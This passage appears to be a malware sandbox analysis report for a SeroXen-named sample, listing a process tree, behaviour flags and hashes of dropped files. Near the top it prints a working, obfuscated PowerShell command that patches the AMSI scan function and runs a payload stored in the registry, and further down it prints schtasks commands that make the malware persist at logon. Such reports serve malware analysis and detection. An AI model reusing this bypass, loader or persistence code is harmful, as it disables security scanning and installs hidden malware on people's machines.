n.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'O'+[Char](70)+'T'+'W'+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](36)+''+[Char](55)+''+[Char](55)+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2060 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:432
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:XNDoxjmbyDYX{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$GDEmwOkQVPQYZx,[Parameter(Position=1)][Type]$OefUNRBRnA)$HzcTncBSxkB=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+''+[Char](108)+'e'+'c'+''+[Char](116)+''+[Char](101)+''+'d'+''+[Char](68)+'e'+'l'+''+[Char](101)+'g'+'a'+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InM'+[Char](101)+'m'+[Char](111)+''+[Char](114)+''+[Char](121)+'M'+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+'e'+''+[Char](108)+''+'e'+''+[Char](103)+'a'+[Char](116)+''+[Char](101)+''+'T'+'y'+[Char](112)+'e',''+'C'+''+'l'+''+'a'+'s'+'s'+''+[Char](44)+'Pu'+[Char](98)+'l'+'i'+''+'c'+','+[Char](83)+''+[Char](101)+''+[Char](97)+''+'l'+''+'e'+''+[Char](100)+''+','+''+[Char](65)+'n'+'s'+'iC'+'l'+''+'a'+''+[Char](115)+'s,'+'A'+''+[Char](117)+'t'+[Char](111)+'C'+[Char](108)+''+[Char](97)+''+'s'+'s',[MulticastDelegate]);$HzcTncBSxkB.DefineConstructor(''+[Char](82)+'T'+'S'+''+[Char](112)+''+'e'+''+[Char](99)+'i'+'a'+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+'y'+''+[Char](83)+'ig'+[Char](44)+''+[Char](80)+'ub'+'l'+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$GDEmwOkQVPQYZx).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+[Char](116)+'i'+[Char](109)+'e'+','+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+'d');$HzcTncBSxkB.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+'o'+'k'+''+'e'+'',''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+'c'+''+','+''+'H'+''+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+''+'y'+''+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+'l'+''+[Char](111)+'t'+','+''+[Char](86)+''+[Char](105)+'rt'+[Char](117)+''+[Char](97)+'l',$OefUNRBRnA,$GDEmwOkQVPQYZx).SetImplementationFlags('R'+'u'+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+''+[Char](101)+''+','+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+'ge'+'d'+'');Write-Output $HzcTncBSxkB.CreateType();}$ItHbtbHmTfewC=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+'s'+[Char](116)+''+[Char](101)+'m'+'.'+''+[Char](100)+''+[Char](108)+'l')}).GetType(''+[Char](77)+''+'i'+''+'c'+''+'r'+'o'+[Char](115)+''+[Char](111)+''+[Char](102)+''+'t'+''+'.'+''+[Char](87)+''+[Char](105)+''+[Char](110)+''+[Char](51)+''+'2'+'.'+[Char](85)+''+[Char](110)+''+'s'+'a'+'f'+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](118)+''+[Char](101)+''+'M'+''+[Char](101)+''+'t'+''+[Char](104)+''+[Char](111)+''+'d'+''+'s'+'');$GbuMqEklhCuYDN=$ItHbtbHmTfewC.GetMethod(''+'G'+'e'+'t'+'P'+'r'+''+[Char](111)+'c'+[Char](65)+'d'+[Char](100)+''+[Char](114)+''+'e'+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+[Char](80)+'u'+[Char](98)+'l'+'i'+'c'+[Char](44)+''+[Char](83)+''+[Char](116)+''+'a'+''+'t'+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$chkZBroUrWRvEPwdntk=XNDoxjmbyDYX @([String])([IntPtr]);$xbBSfXsyCvZAJDAiEVLWiu=XNDoxjmbyDYX @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$yPNhidZsclR=$ItHbtbHmTfewC.GetMethod(''+'G'+'e'+'t'+''+'M'+'o'+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+''+[Char](72)+''+'a'+''+'n'+''+[Char](100)+'l'+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'e'+[Char](114)+''+[Char](110)+''+[Char](101)+''+'l'+'3'+[Char](50)+'.'+'d'+''+[Char](108)+'l')));$CfectihgWTbqbV=$GbuMqEklhCuYDN.Invoke($Null,@([Object]$yPNhidZsclR,[Object]('L'+'o'+''+[Char](97)+''+[Char](100)+''+[Char](76)+'i'+[Char](98)+''+[Char](114)+''+'a'+''+[Char](114)+'yA')));$PiEoAfhRVNkZIsYoe=$GbuMqEklhCuYDN.Invoke($Null,@([Object]$yPNhidZsclR,[Object](''+[Char](86)+'ir'+[Char](116)+'u'+[Char](97)+'l'+[Char](80)+''+[Char](114)+''+'o'+''+'t'+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$OIoVzMh=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CfectihgWTbqbV,$chkZBroUrWRvEPwdntk).Invoke(''+[Char](97)+''+'m'+''+[Char](115)+''+[Char](105)+'.'+'d'+''+[Char](108)+''+'l'+'');$HHlSXPFQmKvqGzwEB=$GbuMqEklhCuYDN.Invoke($Null,@([Object]$OIoVzMh,[Object](''+[Char](65)+''+[Char](109)+''+'s'+''+[Char](105)+''+'S'+'c'+[Char](97)+'n'+[Char](66)+''+'u'+''+'f'+'f'+[Char](101)+''+[Char](114)+'')));$KFzqmBjpfX=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PiEoAfhRVNkZIsYoe,$xbBSfXsyCvZAJDAiEVLWiu).Invoke($HHlSXPFQmKvqGzwEB,[uint32]8,4,[ref]$KFzqmBjpfX);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$HHlSXPFQmKvqGzwEB,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PiEoAfhRVNkZIsYoe,$xbBSfXsyCvZAJDAiEVLWiu).Invoke($HHlSXPFQmKvqGzwEB,[uint32]8,0x20,[ref]$KFzqmBjpfX);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'O'+'F'+''+'T'+''+[Char](87)+''+[Char](65)+'R'+'E'+'').GetValue(''+'$'+''+[Char](55)+''+[Char](55)+''+'s'+''+'t'+''+[Char](97)+'ge'+'r'+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2464 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3352
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netprofm -p -s netprofm1⤵PID:1236
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1296
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1400
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1452
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2816
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Drops file in System32 directory
PID:1464
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1596
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1608
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵PID:1660
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1728
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1756
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1828
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
- Modifies Internet Explorer settings
PID:1864 -
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x00000000000004E8 0x00000000000004E42⤵PID:3356
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1924
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1936
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1232
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1796
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2108
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2232
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2336
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2520
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2528
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵PID:2568
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2660
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2688
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2696
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2704
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2732
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2932
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:3092
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
PID:3212 -
C:\Users\Admin\AppData\Local\Temp\Uni.exe"C:\Users\Admin\AppData\Local\Temp\Uni.exe"2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4524 -
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "SeroXen" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Uni.exe" /rl HIGHEST /f3⤵
- Creates scheduled task(s)
PID:3888
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C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:916 -
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "SeroXen" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f4⤵
- Creates scheduled task(s)
PID:5012
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C:\Users\Admin\AppData\Local\Temp\install.exe"C:\Users\Admin\AppData\Local\Temp\install.exe"4⤵
- Executes dropped EXE
PID:2552
-
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C:\Users\Admin\AppData\Local\Temp\MjKnI18yOOAV.exe"C:\Users\Admin\AppData\Local\Temp\MjKnI18yOOAV.exe"4⤵
- Executes dropped EXE
PID:3472
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C:\Users\Admin\AppData\Local\Temp\install.exe"C:\Users\Admin\AppData\Local\Temp\install.exe"3⤵
- Executes dropped EXE
PID:4756
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C:\Windows\SysWOW64\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Uni.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\Uni.exe'" /sc onlogon /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:4844
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-
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3432
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:3460
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3848
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Suspicious use of UnmapMainImage
PID:3896
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc1⤵PID:3996
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4012
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵PID:4336
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc1⤵PID:4448
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:3932
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:1484
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:2812
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:3904
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1884
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:2008
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:1784
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:3780
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3540
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:1576
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Suspicious behavior: EnumeratesProcesses
PID:5092
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵PID:976
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc1⤵PID:3868
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s BthAvctpSvc1⤵PID:1648
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
131KB
MD5bd65d387482def1fe00b50406f731763
SHA1d06a2ba2e29228f443f97d1dd3a8da5dd7df5903
SHA2561ab7375550516d7445c47fd9b551ed864f227401a14ff3f1ff0d70caca3bd997
SHA512351ecd109c4d49bc822e8ade73a9516c4a531ebcda63546c155e677dcff19708068dc588b2fcf30cad086238e8b206fc5f349d37dda02d3c3a8d9b570d92e4d9
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Filesize
162KB
MD5152e3f07bbaf88fb8b097ba05a60df6e
SHA1c4638921bb140e7b6a722d7c4d88afa7ed4e55c8
SHA256a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc
SHA5122fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4
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Filesize
409KB
MD54c2bb0618a6eda615c8001d5a7ccd6c0
SHA1c88d2c8bfc5906a5cfef78893d1132edcffd71f0
SHA256abcda524c02f9381d8d43f9ec0079d854db821d77f45e88f50606f46871f81d6
SHA5126abe53339656a023e2a0547f1c2249789c33091d67a21f2e689c6411dc5357e34ec3c65634b6f6955a5023d20803f7c746b13f574bcd84b008abb4a97ea61027
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log
Filesize2KB
MD55f4c933102a824f41e258078e34165a7
SHA1d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA256d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
SHA512a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize796B
MD511b35d285c25971059b9289800e9d349
SHA149cafa58591f679e638ea3ab064e73bbef4ac661
SHA25630d23c23d20cde6ebe119b9c39faff4cb43f6640eea2fdbf3f786eb993b20b30
SHA512b6e1213032d355a26528e2e910454dce0496e297ca5dc205546c947ed4e9b1d14f911a030df0a2e0de2e4fe29190f705254a1fdb3002c7677d5c789e5463e855